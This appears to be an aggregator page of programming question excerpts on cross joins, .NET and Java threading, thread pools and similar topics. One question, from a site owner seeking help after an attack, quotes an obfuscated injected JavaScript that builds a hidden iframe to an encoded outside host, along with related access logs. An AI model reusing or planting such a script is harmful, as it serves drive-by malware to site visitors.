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  • Cross Join 'n' times a table

    - by SDReyes
    It is possible to write a generic function/procedure/select/somethingElse to cross-join a table against himself 'n' times? (yes, 'n' is a given parameter : ) How would you do it? Example Having this table: Value ------- 1 2 3 cross join it 2 times, would return: Value | Value ------------------ 1 1 1 2 1 3 2 1 2 2 2 3 3 1 3 2 3 3

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  • Sphinx: cross-reference indexed item

    - by Unbeknown
    How can I cross-reference an indexed item inside a reStructuredText document? For example, how can I cross-reference SectionB: .. index:: pair: SectionA; SectionB SectionB -------- SectionB description. I tried using :ref:'SectionB' and :index:'SectionB' but they don't work. Thanks.

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  • Cross-platform, cross-browser way to play sound using jQuery 1.4?

    - by Erin
    I'm trying to get jQuery to play a sound on element hover/click. (It's like a flash website without flash) I've tried the methods recommended in Cross-platform, cross-browser way to play sound from Javascript?, the jQuery Sound plugin and a couple of other tutorials without any success. I'm assuming this is because they haven't been updated since 2008. Does anyone have any recommendations?

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  • Is there a straightforward way to have a ThreadStatic instance member?

    - by Dan Tao
    With the ThreadStatic attribute I can have a static member of a class with one instance of the object per thread. This is really handy for achieving thread safety using types of objects that don't guarantee thread-safe instance methods (e.g., System.Random). It only works for static members, though. Is there some corresponding attribute that provides the same functionality, but for instance members? In other words, that allows me to have one instance of the object, per thread, per instance of the containing class?

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  • Malware Cross Site Scriptinig attack / XSS Attack?

    - by user124176
    I have been hit by an Cross Site Scripting / XSS / RFI Attack, where I cant find it anywhere in the source of the files and Hashes on files have not been changed according to OSSEC HIDS that I run real time monitoring on all webdirs. The Attack happens on IE9 Only it and appends java script code like beneath, notice that it starts after /html tag closes normally. : scXXpt language="javascXXpt"var enuwjo = function(gqumas, yhxxju, zbkpilf, xzzvhld){var xew = function(iso) {var crh, eaq, i; var owb=""; crh = iso.length; for (i = 0; i < crh; ++i) {eaq = iso.charCodeAt(i)-2;owb = owb + String.fromCharCode(eaq);} return(owb); } var janlq=document.createElement(xew("crrngv"));janlq.setAttribute(xew("eqfg"), xew(gqumas));janlq.setAttribute(xew("ctejkxg"), xew("jvvr<11"+yhxxju));janlq.setAttribute(xew("ykfvj"), "1");janlq.setAttribute(xew("jgkijv"), "1");var lgtwyi=document.createElement(xew("rctco"));lgtwyi.setAttribute(xew("pcog"),xew(zbkpilf));lgtwyi.setAttribute(xew("xcnwg"),xew(xzzvhld));janlq.appendChild(lgtwyi);document.body.appendChild(janlq); } ; enuwjo("vxfgwtogg0dcrcmnwe0encuu","g{g0o{yge{0kp129;5","mlit{ttmdttponfhrrexihpe","fh;ccfe:85:5d9872;2;f569276h5268ff9;34:25;7d:8:7h8c68777;;822c73"); No code has been changed on file as far as my HIDS says ... but I can see in my Error log, the following... File does not exist: /var/www/vhosts/superkids.dk/ggtest/tvdeurmee In the Access log, the following IP - - [09/Jun/2012:23:30:13 +0200] "GET /tvdeurmee/bapakluc.class HTTP/1.1" 404 504 "-" "Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_04" IP - - [09/Jun/2012:23:30:13 +0200] "GET /tvdeurmee/bapakluc/class.class HTTP/1.1" 404 509 "-" "Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_04" Now... the folder or path /tvdeurmee/bapakluc/ does not exist on the server in question, nor does the Java Class class.class, yet it still looks like an local call to the server and it was getting an "404 File not found / 504 Gateway Timeout" (attack was blocked by local machine, hence the timeout / not found) Any idea on how to prevent the attack ? Im working on using HTML Purifier, but that might not be the correct idea it seems, according to some replies im getting on their forum :) Kind regards, Steven

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  • Splitting build cross the network?

    - by Dandikas
    Is there a known solution for splitting build process cross the network machines? Use case: We are an average software development company. We own around 50 development workstations (Quad Core 2.66Ghz, 4 GB ram, 200 GB raid). No need to tell that at any single moment not every machine is loaded to the max. There are 5 to 15 projects running simultaneously at any single moment. Obviously all of them are continuously build on server, than deployed to proper environment. Single project build is taking from 3 to 15 minutes. The problem: Whenever we build 5 projects in a row the last project is going to be ready after around 25 - 50 minutes. Building in parallel does not solve the problem (build is only a part of the game, than you need to deploy, run tests etc.) YES the correct solution is to add another build server, but "That involves buying new Expensive hardware, and we already spent a lot!". Yea, right(damn them)! Anyway. What about splitting build among developers workstation? Lets say whenever we need to build project "A" we check 5 workstations and start build on all that are not overloaded. The build can be canceled by a developer if he really needs all the power of his machine as long as there is at least 1 machine that is still building. After build is finished deployment can be performed to a proper environment (hosted on some server, not on workstation :) ). The bigger the company the more this makes sense to me. Anyone tried something like this? Are there any good practices? Any helpful software?

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  • Cross-Platform Language + GUI Toolkit for Prototyping Multimedia Applications

    - by msutherl
    I'm looking for a language + GUI toolkit for rapidly prototyping utility applications for multimedia installations. I've been working with Max/MSP/Jitter for many years, but I'd like to add a text-based language to my 'arsenal' for tasks apart from 'content production'. (When it comes to actual media synthesis, my choices are clear [SuperCollider + MSP for audio, Jitter + Quartz + openFrameworks for video]). I'm looking for something that maintains some of the advantages of Max, but is lower-level, faster, more cross-platfrom (Linux support), and text-based. Integration with powerful sound/video libraries is not a requirement. Some requirements: Cross-platform (at least OSX and Linux, Windows is a plus) Fast and easy cross-platform GUIs with no platform-specific modification GUI code separated from backend code as much as possible Good for interfacing with external serial devices (micro-controllers) Good network support (UDP/TCP) Good libraries for multi-media (video, sound, OSC) are a plus Asynchronous synchronous UNIX integration is a plus The options that come to mind: AS3/Flex (not a fan of AS3 or the idea of running in the Flash Player) openFrameworks (C++ framework, perhaps a bit too low level [looking for fast development time] and biased toward video work) Java w/ Processing libraries (like openFrameworks, just slower) Python + Qt (is Qt appropriate for rapid prototyping?) Python + Another GUI toolkit SuperCollider + Swing (yucky GUI development) Java w/ SWT Any other options? What do you recommend?

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  • Crystal Reports Cross Tab Conditional Formatting

    - by ltran
    I would like to achieve a simplified result similar to the "Color Scale" function in Excel i.e. gradient colouring based on the lowest value (red) to highest value (green), except in my cross tab using Crystal Reports 2008. My cross tab looks a little like this: HOURS L1 L2 L3 L4 Total 1 hours | 5 | 0 | 1 | 16 | 22 | 2 hours | 0 | 1 | 0 | 10 | 11 | 3 hours | 8 | 2 | 6 | 12 | 28 | TOTAL |13 | 3 | 7 | 38 | 61 | The principle of my function is find the maximum value in the cross table then use 20%, 40%, 60%, 80% values to colour the background. Function is as follows (in the format background section): if currentfieldvalue < ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.2) then color(255,0,0) else if (currentfieldvalue >= ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.2) and currentfieldvalue < ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.4)) then color(255,192,0) else if (currentfieldvalue >= ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.4) and currentfieldvalue < ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.6)) then color(255,255,0) else if (currentfieldvalue >= ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.6) and currentfieldvalue < ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.8)) then color(146,208,80) else if (currentfieldvalue >= ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.8)) then color(0,176,80) It's not elegant, nor does it work properly, any assistance/suggestions would be much appreciated. I wasn't expecting it to be so complicated as originally I was working with the below assuming it would work, except it tells me that "CurrentFieldValue" is not a field. if CurrentFieldValue < ((Maximum (CurrentFieldValue))*0.2) then color(255,0,0) else if ... etc.

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  • "The calling thread cannot access this object because a different thread owns it." While using Dispa

    - by Sdry
    I have an application, that I want to load additional xaml files, being resourcedictionaries controling the style of the application. Yet when trying to add a loaded ResourceDictionary to the mergeddictionaries I get an InvalidOperationException saying "The calling thread cannot access this object because a different thread owns it." at a point where I am not even using multiple threads. The application contains a usercontrol which loads the xaml file through a background worker, adding the loaded ResourceDictionaries to an Observablecollection. When I pass on a selected theme(=ResourceDictionary) to a function in the mainwindow of the application, it goes wrong. public void LoadTheme(Theme theme) {//sdry 2010-4-22 if(theme !=null){ this._dispatcher.Invoke(DispatcherPriority.Normal, (Action)(() => { MessageBox.Show("SKIN TEST: " + theme.Name); //> oke #if (SHOWDEBUGINFO) _selectedTheme = theme.Name; //>oke #endif Application.Current.Resources.MergedDictionaries.Clear(); //>oke Application.Current.Resources.MergedDictionaries.Add(theme.ResourceDictionary); //> InvalidOperationException //the theme object has a property named ResourceDictionary of type ResourceDictionary containing the loaded xaml })); } } My first reaction was to use the Disatcher.Invoke, even not knowing how I would not be on the gui thread, which doesn't solve a thing. So maybe my loaded theme belongs to a different thread ? but its originating from a property of a usercontrol, which should be the same thread. And its accesable untill trying to use the ResourceDictionary. This makes me confused, and not very aware of how to proceed, any help is appreciated.

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  • WebClient error when using a thread in .NET

    - by Kiranu
    I'm having a very weird error using the WebClient class in .NET 4. The app simply downloads some files off the internet and provides output on a textbox (the GUI is WPF). The method that does this is the following: void DownloadFiles(object files) { fileL = (List<string>) files; foreach (string url in fileL) { byte[] data; using (System.Net.WebClient k = new WebClient()) { data = k.DownloadData(url); } //Bunch of irrelevant code goes here... } } (I added the using while trying to divine [yes I'm that desperate/ignorant] a solution, the problem happens even if the webclient is declared and initialized outside the foreach loop) Now the problem appears only when I'm executing this method on a thread separate from the WPF UI main thread. If it is executed on the UI thread then it works perfectly. When a new thread is created with: Thread t = new Thread(DownloadFiles); t.Start(files); The first time the code goes into the loop it will work, but when its the second pass inside the loop, I will always receive a TargetParameterCountException. I can't make any sense of this error. Any help is very much appreciated. EDIT Here are the Exception Details: Exception.Message = "Parameter count mismatch." Exception.InnerException = null Exception.Source = " mscorlib" The StackTrace follows: at System.Reflection.RuntimeMethodInfo.Invoke(Object obj, BindingFlags invokeAttr, Binder binder, Object[] parameters, CultureInfo culture, Boolean skipVisibilityChecks) at System.Delegate.DynamicInvokeImpl(Object[] args) at System.Windows.Threading.ExceptionWrapper.InternalRealCall(Delegate callback, Object args, Int32 numArgs) at MS.Internal.Threading.ExceptionFilterHelper.TryCatchWhen(Object source, Delegate method, Object args, Int32 numArgs, Delegate catchHandler) at System.Windows.Threading.DispatcherOperation.InvokeImpl() at System.Windows.Threading.DispatcherOperation.InvokeInSecurityContext(Object state) at System.Threading.ExecutionContext.runTryCode(Object userData) at System.Runtime.CompilerServices.RuntimeHelpers.ExecuteCodeWithGuaranteedCleanup(TryCode code, CleanupCode backoutCode, Object userData) at System.Threading.ExecutionContext.RunInternal(ExecutionContext executionContext, ContextCallback callback, Object state) at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean ignoreSyncCtx) at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state) at System.Windows.Threading.DispatcherOperation.Invoke() at System.Windows.Threading.Dispatcher.ProcessQueue() at System.Windows.Threading.Dispatcher.WndProcHook(IntPtr hwnd, Int32 msg, IntPtr wParam, IntPtr lParam, Boolean& handled) at MS.Win32.HwndWrapper.WndProc(IntPtr hwnd, Int32 msg, IntPtr wParam, IntPtr lParam, Boolean& handled) at MS.Win32.HwndSubclass.DispatcherCallbackOperation(Object o) at System.Windows.Threading.ExceptionWrapper.InternalRealCall(Delegate callback, Object args, Int32 numArgs) at MS.Internal.Threading.ExceptionFilterHelper.TryCatchWhen(Object source, Delegate method, Object args, Int32 numArgs, Delegate catchHandler) at System.Windows.Threading.Dispatcher.InvokeImpl(DispatcherPriority priority, TimeSpan timeout, Delegate method, Object args, Int32 numArgs) at MS.Win32.HwndSubclass.SubclassWndProc(IntPtr hwnd, Int32 msg, IntPtr wParam, IntPtr lParam) at MS.Win32.UnsafeNativeMethods.DispatchMessage(MSG& msg) at System.Windows.Threading.Dispatcher.PushFrameImpl(DispatcherFrame frame) at System.Windows.Threading.Dispatcher.PushFrame(DispatcherFrame frame) at System.Windows.Threading.Dispatcher.Run() at System.Windows.Application.RunDispatcher(Object ignore) at System.Windows.Application.RunInternal(Window window) at System.Windows.Application.Run(Window window) at System.Windows.Application.Run() at FileDownloader.App.Main() in d:\mis documentos\visual studio 2010\Projects\OneMangaDownloader\FileDownloader\obj\x86\Debug\App.g.cs:line 0 at System.AppDomain._nExecuteAssembly(RuntimeAssembly assembly, String[] args) at System.AppDomain.ExecuteAssembly(String assemblyFile, Evidence assemblySecurity, String[] args) at Microsoft.VisualStudio.HostingProcess.HostProc.RunUsersAssembly() at System.Threading.ThreadHelper.ThreadStart_Context(Object state) at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean ignoreSyncCtx) at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state) at System.Threading.ThreadHelper.ThreadStart()

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  • WebClient error when using a thread in .NET 4

    - by Kiranu
    I'm having a very weird error using the WebClient class in .NET 4. The app simply downloads some files off the internet and provides output on a textbox (the GUI is WPF). The method that does this is the following: void DownloadFiles(object files) { fileL = (List<string>) files; foreach (string url in fileL) { byte[] data; using (System.Net.WebClient k = new WebClient()) { data = k.DownloadData(url); } //Bunch of irrelevant code goes here... } } (I added the using while trying to divine [yes I'm that desperate/ignorant] a solution, the problem happens even if the webclient is declared and initialized outside the foreach loop) Now the problem appears only when I'm executing this method on a thread separate from the WPF UI main thread. If it is executed on the UI thread then it works perfectly. When a new thread is created with: Thread t = new Thread(DownloadFiles); t.Start(files); The first time the code goes into the loop it will work, but when its the second pass inside the loop, I will always receive a TargetParameterCountException. I can't make any sense of this error. Any help is very much appreciated. EDIT Here are the Exception Details: Exception.Message = "Parameter count mismatch." Exception.InnerException = null Exception.Source = " mscorlib" The StackTrace follows: at System.Reflection.RuntimeMethodInfo.Invoke(Object obj, BindingFlags invokeAttr, Binder binder, Object[] parameters, CultureInfo culture, Boolean skipVisibilityChecks) at System.Delegate.DynamicInvokeImpl(Object[] args) at System.Windows.Threading.ExceptionWrapper.InternalRealCall(Delegate callback, Object args, Int32 numArgs) at MS.Internal.Threading.ExceptionFilterHelper.TryCatchWhen(Object source, Delegate method, Object args, Int32 numArgs, Delegate catchHandler) at System.Windows.Threading.DispatcherOperation.InvokeImpl() at System.Windows.Threading.DispatcherOperation.InvokeInSecurityContext(Object state) at System.Threading.ExecutionContext.runTryCode(Object userData) at System.Runtime.CompilerServices.RuntimeHelpers.ExecuteCodeWithGuaranteedCleanup(TryCode code, CleanupCode backoutCode, Object userData) at System.Threading.ExecutionContext.RunInternal(ExecutionContext executionContext, ContextCallback callback, Object state) at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean ignoreSyncCtx) at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state) at System.Windows.Threading.DispatcherOperation.Invoke() at System.Windows.Threading.Dispatcher.ProcessQueue() at System.Windows.Threading.Dispatcher.WndProcHook(IntPtr hwnd, Int32 msg, IntPtr wParam, IntPtr lParam, Boolean& handled) at MS.Win32.HwndWrapper.WndProc(IntPtr hwnd, Int32 msg, IntPtr wParam, IntPtr lParam, Boolean& handled) at MS.Win32.HwndSubclass.DispatcherCallbackOperation(Object o) at System.Windows.Threading.ExceptionWrapper.InternalRealCall(Delegate callback, Object args, Int32 numArgs) at MS.Internal.Threading.ExceptionFilterHelper.TryCatchWhen(Object source, Delegate method, Object args, Int32 numArgs, Delegate catchHandler) at System.Windows.Threading.Dispatcher.InvokeImpl(DispatcherPriority priority, TimeSpan timeout, Delegate method, Object args, Int32 numArgs) at MS.Win32.HwndSubclass.SubclassWndProc(IntPtr hwnd, Int32 msg, IntPtr wParam, IntPtr lParam) at MS.Win32.UnsafeNativeMethods.DispatchMessage(MSG& msg) at System.Windows.Threading.Dispatcher.PushFrameImpl(DispatcherFrame frame) at System.Windows.Threading.Dispatcher.PushFrame(DispatcherFrame frame) at System.Windows.Threading.Dispatcher.Run() at System.Windows.Application.RunDispatcher(Object ignore) at System.Windows.Application.RunInternal(Window window) at System.Windows.Application.Run(Window window) at System.Windows.Application.Run() at FileDownloader.App.Main() in d:\mis documentos\visual studio 2010\Projects\OneMangaDownloader\FileDownloader\obj\x86\Debug\App.g.cs:line 0 at System.AppDomain._nExecuteAssembly(RuntimeAssembly assembly, String[] args) at System.AppDomain.ExecuteAssembly(String assemblyFile, Evidence assemblySecurity, String[] args) at Microsoft.VisualStudio.HostingProcess.HostProc.RunUsersAssembly() at System.Threading.ThreadHelper.ThreadStart_Context(Object state) at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean ignoreSyncCtx) at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state) at System.Threading.ThreadHelper.ThreadStart()

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  • terminating java applet thread on page unload

    - by Hammad Tariq
    Hello, I have got a problem here in terminating the threads. The problem is that I am using applet thread to access JS DOM and manipulate innerHTML of a span to right the Thread Name as the innerHTML. It works fine until I keep refreshing the page but if I dont give it a sleep of like 200ms and go to another page which dont have any applet on it, it will give me an error in firebug console: document.getElementById("userName") is null What I am suspecting is, although I send an interrupt on stop and I have also tried the same by setting a flag variable of running in run while loop, the thread executes much faster than the time JVM takes to unload it and I get my page changed in browser but applet is still trying to find an element with id userName. Is that true? Is there any work around of it? Is there any way to know how many threads are running at the moment? Is there any kill all command to send on destroy()? I have searched a lot, seen all the API of java threads and applets, couldn't get this to work. Below is the code: import java.applet.Applet; import netscape.javascript.*; //No need to extend JApplet, since we don't add any components; //we just paint. public class firstApplet extends Applet { /** * */ private static final long serialVersionUID = 1L; firstThread first; boolean running = false; public class firstThread extends Thread{ JSObject win; JSObject doc; firstThread second; public firstThread(JSObject window){ this.win = window; } public void run() { try{ System.out.println("running... "); while (!isInterrupted()){ doc = (JSObject) win.getMember("document"); String userName = Thread.currentThread().getName(); //String userName = "John Doe"; String S = "document.getElementById(\"userName\").innerHTML = \""+userName+"\";"; doc.eval(S); Thread.sleep(5); } }catch(Exception e){ System.out.println("exception in first thread... "); e.printStackTrace(); } } } public void init() { System.out.println("initializing... "); } public void start() { System.out.println("starting... "); JSObject window = JSObject.getWindow(this); first = new firstThread(window); first.start(); running = true; } public void stop() { first.interrupt(); first = null; System.out.println("stopping... "); } public void destroy() { if(first != null){ first = null; } System.out.println("preparing for unloading..."); } } Thanks

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  • Singleton again, but with multi-thread and Objective-C

    - by Tonny Xu
    I know Singleton pattern has been discussed so much. But because I'm not fully understand the memory management mechanism in Objective-C, so when I combined Singleton implementation with multithreading, I got a big error and cost me a whole day to resolve it. I had a singleton object, let's call it ObjectX. I declared an object inside ObjectX that will detach a new thread, let's call that object objectWillSpawnNewThread, when I called [[ObjectX sharedInstance].objectWillSpawnNewThread startNewThread]; The new thread could not be executed correctly, and finally I found out that I should not declare the object objectWillSpawnNewThread inside the singleton class. Here are my questions: How does Objective-C allocate static object in the memory? Where does Objective-C allocate them(Main thread stack or somewhere else)? Why would it be failed if we spawn a new thread inside the singleton object? I had searched the Objective-C language [ObjC.pdf] and Objective-C memory management document, maybe I missed something, but I currently I could not find any helpful information.

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  • Is DataRow thread safe? How to update a single datarow in a datatable using multiple threads? - .net

    - by NLV
    Hello all I want to update a single datarow in a datatable using multiple threads. Is this actually possible? I've written the following code implementing a simple multi-threading to update a single datarow. I get different results each time. Why is it so? public partial class Form1 : Form { private static DataTable dtMain; private static string threadMsg = string.Empty; public Form1() { InitializeComponent(); } private void Form1_Load(object sender, EventArgs e) { Thread[] thArr = new Thread[5]; dtMain = new DataTable(); dtMain.Columns.Add("SNo"); DataRow dRow; dRow = dtMain.NewRow(); dRow["SNo"] = 5; dtMain.Rows.Add(dRow); dtMain.AcceptChanges(); ThreadStart ts = new ThreadStart(delegate { dtUpdate(); }); thArr[0] = new Thread(ts); thArr[1] = new Thread(ts); thArr[2] = new Thread(ts); thArr[3] = new Thread(ts); thArr[4] = new Thread(ts); thArr[0].Start(); thArr[1].Start(); thArr[2].Start(); thArr[3].Start(); thArr[4].Start(); while (!WaitTillAllThreadsStopped(thArr)) { Thread.Sleep(500); } foreach (Thread thread in thArr) { if (thread != null && thread.IsAlive) { thread.Abort(); } } dgvMain.DataSource = dtMain; } private void dtUpdate() { for (int i = 0; i < 1000; i++) { try { dtMain.Rows[0][0] = Convert.ToInt32(dtMain.Rows[0][0]) + 1; dtMain.AcceptChanges(); } catch { continue; } } } private bool WaitTillAllThreadsStopped(Thread[] threads) { foreach (Thread thread in threads) { if (thread != null && thread.ThreadState == ThreadState.Running) { return false; } } return true; } } Any thoughts on this? Thank you NLV

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  • Query on simple C++ threadpool implementation

    - by ticketman
    Stackoverflow has been a tremendous help to me and I'd to give something back to the community. I have been implementing a simple threadpool using the tinythread C++ portable thread library, using what I have learnt from Stackoverflow. I am new to thread programming, so not that comfortable with mutexes, etc. I have a question best asked after presenting the code (which runs quite well under Linux): // ThreadPool.h class ThreadPool { public: ThreadPool(); ~ThreadPool(); // Creates a pool of threads and gets them ready to be used void CreateThreads(int numOfThreads); // Assigns a job to a thread in the pool, but doesn't start the job // Each SubmitJob call will use up one thread of the pool. // This operation can only be undone by calling StartJobs and // then waiting for the jobs to complete. On completion, // new jobs may be submitted. void SubmitJob( void (*workFunc)(void *), void *workData ); // Begins execution of all the jobs in the pool. void StartJobs(); // Waits until all jobs have completed. // The wait will block the caller. // On completion, new jobs may be submitted. void WaitForJobsToComplete(); private: enum typeOfWorkEnum { e_work, e_quit }; class ThreadData { public: bool ready; // thread has been created and is ready for work bool haveWorkToDo; typeOfWorkEnum typeOfWork; // Pointer to the work function each thread has to call. void (*workFunc)(void *); // Pointer to work data void *workData; ThreadData() : ready(false), haveWorkToDo(false) { }; }; struct ThreadArgStruct { ThreadPool *threadPoolInstance; int threadId; }; // Data for each thread ThreadData *m_ThreadData; ThreadPool(ThreadPool const&); // copy ctor hidden ThreadPool& operator=(ThreadPool const&); // assign op. hidden // Static function that provides the function pointer that a thread can call // By including the ThreadPool instance in the void * parameter, // we can use it to access other data and methods in the ThreadPool instance. static void ThreadFuncWrapper(void *arg) { ThreadArgStruct *threadArg = static_cast<ThreadArgStruct *>(arg); threadArg->threadPoolInstance->ThreadFunc(threadArg->threadId); } // The function each thread calls void ThreadFunc( int threadId ); // Called by the thread pool destructor void DestroyThreadPool(); // Total number of threads available // (fixed on creation of thread pool) int m_numOfThreads; int m_NumOfThreadsDoingWork; int m_NumOfThreadsGivenJobs; // List of threads std::vector<tthread::thread *> m_ThreadList; // Condition variable to signal each thread has been created and executing tthread::mutex m_ThreadReady_mutex; tthread::condition_variable m_ThreadReady_condvar; // Condition variable to signal each thread to start work tthread::mutex m_WorkToDo_mutex; tthread::condition_variable m_WorkToDo_condvar; // Condition variable to signal the main thread that // all threads in the pool have completed their work tthread::mutex m_WorkCompleted_mutex; tthread::condition_variable m_WorkCompleted_condvar; }; cpp file: // // ThreadPool.cpp // #include "ThreadPool.h" // This is the thread function for each thread. // All threads remain in this function until // they are asked to quit, which only happens // when terminating the thread pool. void ThreadPool::ThreadFunc( int threadId ) { ThreadData *myThreadData = &m_ThreadData[threadId]; std::cout << "Hello world: Thread " << threadId << std::endl; // Signal that this thread is ready m_ThreadReady_mutex.lock(); myThreadData->ready = true; m_ThreadReady_condvar.notify_one(); // notify the main thread m_ThreadReady_mutex.unlock(); while(true) { //tthread::lock_guard<tthread::mutex> guard(m); m_WorkToDo_mutex.lock(); while(!myThreadData->haveWorkToDo) // check for work to do m_WorkToDo_condvar.wait(m_WorkToDo_mutex); // if no work, wait here myThreadData->haveWorkToDo = false; // need to do this before unlocking the mutex m_WorkToDo_mutex.unlock(); // Do the work switch(myThreadData->typeOfWork) { case e_work: std::cout << "Thread " << threadId << ": Woken with work to do\n"; // Do work myThreadData->workFunc(myThreadData->workData); std::cout << "#Thread " << threadId << ": Work is completed\n"; break; case e_quit: std::cout << "Thread " << threadId << ": Asked to quit\n"; return; // ends the thread } // Now to signal the main thread that my work is completed m_WorkCompleted_mutex.lock(); m_NumOfThreadsDoingWork--; // Unsure if this 'if' would make the program more efficient // if(NumOfThreadsDoingWork == 0) m_WorkCompleted_condvar.notify_one(); // notify the main thread m_WorkCompleted_mutex.unlock(); } } ThreadPool::ThreadPool() { m_numOfThreads = 0; m_NumOfThreadsDoingWork = 0; m_NumOfThreadsGivenJobs = 0; } ThreadPool::~ThreadPool() { if(m_numOfThreads) { DestroyThreadPool(); delete [] m_ThreadData; } } void ThreadPool::CreateThreads(int numOfThreads) { // Check a thread pool has already been created if(m_numOfThreads > 0) return; m_NumOfThreadsGivenJobs = 0; m_NumOfThreadsDoingWork = 0; m_numOfThreads = numOfThreads; m_ThreadData = new ThreadData[m_numOfThreads]; ThreadArgStruct threadArg; for(int i=0; i<m_numOfThreads; ++i) { threadArg.threadId = i; threadArg.threadPoolInstance = this; // Creates the thread and save in a list so we can destroy it later m_ThreadList.push_back( new tthread::thread( ThreadFuncWrapper, (void *)&threadArg ) ); // It takes a little time for a thread to get established. // Best wait until it gets established before creating the next thread. m_ThreadReady_mutex.lock(); while(!m_ThreadData[i].ready) // Check if thread is ready m_ThreadReady_condvar.wait(m_ThreadReady_mutex); // If not, wait here m_ThreadReady_mutex.unlock(); } } // Adds a job to the batch, but doesn't start the job void ThreadPool::SubmitJob(void (*workFunc)(void *), void *workData) { // Check that the thread pool has been created if(!m_numOfThreads) return; if(m_NumOfThreadsGivenJobs >= m_numOfThreads) return; m_ThreadData[m_NumOfThreadsGivenJobs].workFunc = workFunc; m_ThreadData[m_NumOfThreadsGivenJobs].workData = workData; std::cout << "Submitted job " << m_NumOfThreadsGivenJobs << std::endl; m_NumOfThreadsGivenJobs++; } void ThreadPool::StartJobs() { // Check that the thread pool has been created // and some jobs have been assigned if(!m_numOfThreads || !m_NumOfThreadsGivenJobs) return; // Set 'haveworkToDo' flag for all threads m_WorkToDo_mutex.lock(); for(int i=0; i<m_NumOfThreadsGivenJobs; ++i) m_ThreadData[i].haveWorkToDo = true; m_NumOfThreadsDoingWork = m_NumOfThreadsGivenJobs; // Reset this counter so we can resubmit jobs later m_NumOfThreadsGivenJobs = 0; // Notify all threads they have work to do m_WorkToDo_condvar.notify_all(); m_WorkToDo_mutex.unlock(); } void ThreadPool::WaitForJobsToComplete() { // Check that a thread pool has been created if(!m_numOfThreads) return; m_WorkCompleted_mutex.lock(); while(m_NumOfThreadsDoingWork > 0) // Check if all threads have completed their work m_WorkCompleted_condvar.wait(m_WorkCompleted_mutex); // If not, wait here m_WorkCompleted_mutex.unlock(); } void ThreadPool::DestroyThreadPool() { std::cout << "Ask threads to quit\n"; m_WorkToDo_mutex.lock(); for(int i=0; i<m_numOfThreads; ++i) { m_ThreadData[i].haveWorkToDo = true; m_ThreadData[i].typeOfWork = e_quit; } m_WorkToDo_condvar.notify_all(); m_WorkToDo_mutex.unlock(); // As each thread terminates, catch them here for(int i=0; i<m_numOfThreads; ++i) { tthread::thread *t = m_ThreadList[i]; // Wait for thread to complete t->join(); } m_numOfThreads = 0; } Example of usage: (this calculates pi-squared/6) struct CalculationDataStruct { int inputVal; double outputVal; }; void LongCalculation( void *theSums ) { CalculationDataStruct *sums = (CalculationDataStruct *)theSums; int terms = sums->inputVal; double sum; for(int i=1; i<terms; i++) sum += 1.0/( double(i)*double(i) ); sums->outputVal = sum; } int main(int argc, char** argv) { int numThreads = 10; // Create pool ThreadPool threadPool; threadPool.CreateThreads(numThreads); // Create thread workspace CalculationDataStruct sums[numThreads]; // Set up jobs for(int i=0; i<numThreads; i++) { sums[i].inputVal = 3000*(i+1); threadPool.SubmitJob(LongCalculation, &sums[i]); } // Run the jobs threadPool.StartJobs(); threadPool.WaitForJobsToComplete(); // Print results for(int i=0; i<numThreads; i++) std::cout << "Sum of " << sums[i].inputVal << " terms is " << sums[i].outputVal << std::endl; return 0; } Question: In the ThreadPool::ThreadFunc method, would better performance be obtained if the following if statement if(NumOfThreadsDoingWork == 0) was included? Also, I'd be grateful of criticisms and ways to improve the code. At the same time, I hope the code is of use to others.

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  • How thread-safe is enum in java?

    - by portoalet
    Hi, How thread-safe is enum in java? I am implementing a Singleton using enum (as per Bloch's Effective Java), should I worry at all about thread safety for my singleton enum? Is there a way to prove or disprove that it is thread safe? // Enum singleton - the preferred approach public enum Elvis { INSTANCE; public void leaveTheBuilding() { ... } } Thanks

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  • Setting thread culture to default

    - by synergetic
    In silverlight application I have MyTexts.resx (for english) and MyTexts.ja-JP.resx (for japanese) resource files. Before loading a page I can set current culture to japanese as following: Thread.CurrentThread.CurrentCulture = new CultureInfo("ja-JP"); Thread.CurrentThread.CurrentUICulture = new CultureInfo("ja-JP"); But sometimes I need to reset culture to default. How can I do that? The following wouldn't work: Thread.CurrentThread.CurrentCulture = new CultureInfo("default"); OR Thread.CurrentThread.CurrentCulture = new CultureInfo("en-US");

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  • How to handle data output in an Observer?

    - by Mannaz
    I have an Observable and an Observer. The observable does download some stuff in a background thread and calls notifyObservers to let the observers read the status. At some point in public void update the observer tries to updates the GUI ((TextView)findViewById('R.id.foo')).setText("bar"); but it seems like the observable thread calls this method, because the Observable (!!!) throws this: android.view.ViewRoot$CalledFromWrongThreadException: Only the original thread that created a view hierarchy can touch its views. at android.view.ViewRoot.checkThread(ViewRoot.java:2462) at android.view.ViewRoot.requestLayout(ViewRoot.java:512) ... at com.mynamespace.acitivty.TrackActivity.startPlay(TrackActivity.java:72) at com.mynamespace.acitivty.TrackActivity.update(TrackActivity.java:107) at java.util.Observable.notifyObservers(Observable.java:147) at java.util.Observable.notifyObservers(Observable.java:128) at com.mynamespace.module.communication.Download.stateChanged(Download.java:213) at com.mynamespace.module.communication.Download.run(Download.java:186) at java.lang.Thread.run(Thread.java:1058) Is there some way I can prevent this from happening? I'm sure I'm missing something obvious here.

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  • how to generate thread dump java on out of memory error

    - by Jigar
